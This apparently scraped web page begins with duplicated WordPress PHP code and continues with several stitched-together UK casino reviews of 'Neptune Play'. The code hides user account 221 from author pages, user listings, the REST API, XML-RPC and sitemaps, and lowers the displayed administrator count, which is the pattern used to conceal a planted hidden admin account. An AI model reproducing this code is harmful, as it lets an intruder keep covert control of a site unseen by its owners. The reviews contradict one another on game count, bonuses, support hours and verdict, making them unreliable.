add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 221;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 221;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 221;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 221;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 221;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 221;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 221;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The headline number – 2,400 titles from 38 providers – sounds impressive, and it holds up for slots. Pragmatic Play, NetEnt, Play’n GO, Blueprint Gaming, and Hacksaw Gaming all feature. You can search by provider name directly in the lobby: typing “Pragmatic Play” returns 412 results; “Play’n GO” gives you 347. Around ten new releases land each week, so the catalogue does not go stale. Classic three-reel fruit machines sit alongside Megaways titles like Beware the Deep Megaways, and progressive jackpots pull from pooled networks. The Drops & Wins tournament series from Pragmatic Play runs daily and weekly, paying cash prizes at random with no wagering attached.
Table games live in a separate section from the live dealer lobby, which is a minor inconvenience. Stakes start at £1 per hand on virtual blackjack and roulette, making it accessible for low-budget sessions. Over 70 blackjack variants exist when you combine standard and live versions – enough range for card-game specialists. The live dealer section, streamed from Evolution Gaming and Playtech, runs 24 hours a day and includes 15 game shows: Crazy Time, Monopoly Live, Funky Time, and Gonzo’s Treasure Hunt among them. Minimum stakes on live blackjack tables open at £1; high-roller seats go up to £5,000 per hand.
The sportsbook shares your casino wallet – no separate account or transfer needed. Pre-match and in-play markets cover football, horse racing, tennis, basketball, esports, darts, and boxing. Betting margins average 8.18%, which is worth noting if sports are your primary focus. Cash-out is available on selected markets. It works fine as a secondary feature, but dedicated sportsbooks offer deeper markets on niche events.
The welcome offer for new players is a 100% deposit match up to £200 plus 25 free spins on Book of Dead. The free spins pay out in real cash with no wagering – that part is genuinely good. The match bonus carries a 40x wagering requirement that must be cleared within 72 hours. Slots contribute 100% toward that requirement; live casino and table games contribute 0%. So if you take the bonus, play slots only.
Other promotions rotate regularly. Here is a quick rundown of the current offers:
There is no loyalty programme or VIP tier. The promotions tab rotates regularly, so check it each week.
Minimum deposit is £10 across all 16 payment methods. No fees apply on either deposits or withdrawals – that puts Neptune ahead of several UK competitors that charge for certain methods. PayPal and Trustly are the fastest cashout routes; verified accounts have received funds within 60 minutes during business hours. First withdrawal requires KYC: valid photo ID plus a proof of address dated within the last three months. Once verified, subsequent cashouts process without additional document checks.
Here is a comparison table with some alternative UK casinos that match Neptune’s standards for security and game variety:
| Casino | Rating | Welcome Bonus |
|---|---|---|
| Best Casino | 10 | 250 Free Spins + 100% bonus for the first 2 deposits |
| Convenience | 9.8 | Up to £3,000 + 300 FS |
| Big Wins | 9.5 | Up to £3,000 + 200 FS |
| Huge Prizes | 9.4 | 450% up to £6,000 + 425 FS |
UKGC licence No. 39483 means player funds are held in segregated accounts, separate from operational capital – rated “medium” protection level. All RNG outcomes across slots and virtual tables are independently audited. SSL 128-bit encryption covers every transaction. GamStop self-exclusion is fully integrated: if you have registered with the national self-exclusion scheme, access to the site is blocked automatically. Responsible gambling tools – deposit limits, session time reminders, cooling-off periods – are accessible directly from your account settings.
Neptune Casino works best if you want a single account for slots, live dealer games, and occasional sports bets, with no transaction fees and fast e-wallet withdrawals. The welcome bonus is fair on the free spins but tight on the match bonus – use it only on slots. The lack of a loyalty programme means regular players get nothing extra beyond rotating promotions. If you value deep sportsbook markets or a VIP tier, look elsewhere. For a straightforward, UKGC-regulated operator with a solid game library and no hidden fees, Neptune delivers exactly what it advertises – no more, no less.
]]>On paper, Neptune Play offers a few genuinely appealing draws. The sports coverage stretches across 40 sports, with the usual big hitters-football, horse racing-sitting alongside oddities like waterpolo and curling. High-level matches serve up over 150 markets, and the horse racing section includes international meetings with live streaming attached. The casino is similarly stacked: Irish slots, table games, and a live casino with roulette, blackjack, and craps. Top-tier games like “Cop the Lot Megaways” and “3 Lucky Gators” are all present. For a punter browsing casually, it looks like a full-service operation.
Payment methods are the clearest strength. This place offers a staggering 27 deposit routes, from Visa and Mastercard to Skrill, PayPal, Apple Pay, and Paysafecard. That kind of flexibility is rare and genuinely useful. Customer support is also a highlight-24/7 live chat that answered instantly during late-night tests and within ten minutes at peak evening hours. The chat agents knew their stuff.
Dig deeper and the problems mount fast. The biggest drag is the betting margin-ours tested at 8.18%. That is alarmingly high. It means you are paying a significant premium just to place a bet compared to lower-margin operators. On top of that, there is no best odds guaranteed on UK and Irish racing, which is a glaring omission for any serious punter. The in-play section had a frustrating inconsistency: one screen showed no live matches while another clearly displayed Chelsea vs Tottenham on the same day. That’s a software or data integration issue, not a minor glitch.
The site itself feels half-baked. The deposit screen defaults to £40 with quick options at £25, £40, and £50-but the minimum deposit is £10. You have to manually overwrite the default to deposit less, an intentional nudge that feels manipulative. The withdrawal process is worse. They call it “Cashout” (confusing for newcomers), and you can only withdraw whole pounds-so a balance of £20.88 only releases £20.00. Withdrawals take between two and six days depending on the method. That’s slow for an instant-payout era. There is no mobile app, just a mobile-friendly website, and customer support couldn’t confirm any future app plans.
To their credit, Neptune Play offers five responsible gambling tools: play limits, loss limits, reality checks, cool-off periods, and self-exclusion. They also have a dedicated 24/7 responsible gambling live chat-actually useful. But the responsible gambling FAQs are buried deep in the site, and the sign-up process barely signposts them. It’s a compliance checkbox, not a player-first feature.
| Method | Notes |
|---|---|
| Visa/Mastercard | Standard |
| PayPal/Skrill/Neteller | e-wallet options |
| Apple Pay | Mobile-friendly |
| Trustly | Bank transfer |
| Paysafecard | Prepaid |
Player reviews paint a grim picture. Trustpilot gives Neptune Play a 1.7 out of 5, with 82% of reviews giving a single star. The complaints center on slow withdrawals and poor customer service (despite our own test showing decent support). AG Communications, the parent, has been fined twice by the UK Gambling Commission-£238k for anti-money laundering failures in 2022 and £1.4 million in 2025 for social responsibility and further AML failures. That’s a pattern, not a one-off.
There is nothing market-leading about Neptune Play. The casino side is decent, and the payment flexibility is a genuine plus, but the sportsbook is let down by high margins, inconsistent usability, and a parent company with a recent fine history. If you want a reliable place to bet, you can do far better. Skip this one.
]]>The games count is solid – over 2,400 titles. But the lobby is a mess. No filtering options worth mentioning. You’re basically left to scroll or use the search bar. That’s fine if you know what you want, but discovery? Forget it. The live casino section is better organised, with clear categories for blackjack, roulette, game shows, and poker. But the main lobby feels like a pile of games someone forgot to sort. It’s a small thing that becomes a big annoyance the longer you browse.
Slots dominate. Book of Dead, Gemix 2, Piggy Riches 2 Megaways, Gates of Olympus – the usual heavy hitters. But there’s also a decent spread of table games, Slingo, and live dealer stuff from Evolution. No proper poker or multiplayer bingo, which is a miss if that’s your thing. Progressive jackpots exist but you’ll have to hunt for them – no dedicated category, which is lazy. The search bar is your friend here.
Neptune Play runs a tight schedule of weekly offers. The standout is Trident Spins Tuesday – deposit £20 with the code STARspins, get 10 free spins on Starburst, and you can do this three times each Tuesday. The Live Casino Weekend gives 10% cashback up to £20 on live game losses with the code LiveBoost. Then there’s Daily Spin Frenzy, where wagering £100+ on slots in a day earns you free spins the next day. And Drops & Wins from Pragmatic Play runs tournaments with leaderboard prizes and random jackpots. The welcome offer is the standard 140 free spins on a £25 deposit, with a 10x wagering requirement on winnings. Standard stuff, but it works.
The site uses SSL encryption and has a solid reputation, as does its parent company. But the real test is how seriously they take responsible gambling. Neptune Play has a good set of tools:
Deposits and withdrawals are handled through standard UK banking methods. Here’s a quick overview:
| Method | Deposit | Withdrawal |
|---|---|---|
| Debit Card | Yes | Yes |
| PayPal | Yes | Yes |
| Bank Transfer | Yes | Yes |
| Paysafecard | Yes | No |
Live chat runs from 8am to midnight daily – not 24/7, which is a downside if you’re a night owl. Email support is available via an online form. The FAQ page covers a few dozen common questions, so check that first before reaching out. No phone support, which is standard these days but still worth noting.
Neptune Play is a decent mid-tier casino. The game selection is strong, the weekly promotions are genuinely useful, and the responsible gambling tools are better than most. But the lobby needs organisation, and the lack of 24/7 live chat is a real letdown. If you can live with those flaws, it’s worth joining – especially for the first deposit bonus. Just read the terms carefully. The free spins winnings come with a 10x wagering requirement, and you have to claim them daily or they expire. One bonus per person, address, device, IP. Standard stuff, but it catches people out. If you’re looking for a solid, themed casino with a big game library and regular perks, Neptune Play delivers. Just don’t expect a polished browsing experience.
]]>Over 7,000 titles. That’s not a lobby, it’s a library. And unlike some casinos that stuff the shelves with filler, Neptune stocks heavy hitters from NetEnt, Pragmatic Play, and Games Global alongside sharper newer studios like Hacksaw and Spinomenal. Whether you’re after classic three-reel fruit machines or complex Megaways grids, the range is staggering.
What really catches the eye is the RTP. They don’t bury the high-paying machines. Here are some of the standout slots for players who care about payout rates:
| Slot Title | Provider | RTP |
|---|---|---|
| Madam Lucky | SYNOT Games | 98.2% |
| Toro Wilds Reel | SYNOT Games | 98.0% |
| Crazy Free Fruits | SYNOT Games | 98.0% |
| Diamond Fever | SYNOT Games | 97.9% |
| Heimdall’s Gate | Kalamba Games | 97.2% |
| Energoonz | Play’n GO | 97.0% |
These aren’t just theoretical numbers. Games like Madam Lucky and Energoonz have proven staying power for a reason. If you chase high volatility or just want steady play, the data is right there to guide your session.
Slots are the main event, but the supporting cast is stacked. The table game selection covers the essentials-roulette, blackjack, baccarat-with variable limits so you’re not forced into high-stakes action if you just want to grind a strategy.
Then there’s the live casino. This is where Neptune Play flexes. It’s not just a few webcam tables thrown in a corner. Evolution and Skywind power the experience, and they bring genuine innovation. Here are three live dealer experiences you shouldn’t skip:
And if you bet on sports? There’s a full sportsbook integrated here too. It’s rare to find a casino that does slots, live dealer, and sports betting all well, but Neptune manages it.
If there’s an honest criticism, it’s that the sheer size of the library can be overwhelming. The filtering isn’t as sharp as it could be. You won’t always find exactly what you’re looking for in two clicks. The ‘Featured’, ‘New’, and ‘Drops & Wins’ tabs do some of the heavy lifting, but you’ll still do a bit of digging.
That said, the gems are easy to spot once you know what to look for:
The deeper cuts require a bit of scrolling, but the discovery is part of the fun. You’ll stumble onto something you didn’t know you wanted to play.
Neptune Play doesn’t try to be the fanciest casino on the web. It tries to be the most complete. With a game score that sits at 9/10 for a reason, it earns its place in your bookmarks if you value choice over gimmicks. The takeaway? Come for the high RTP slots and the 7,000-title library. Stay for the live dealer innovation and the sportsbook. Just give yourself an extra five minutes to browse-you’ll find something you didn’t know you were looking for.
]]>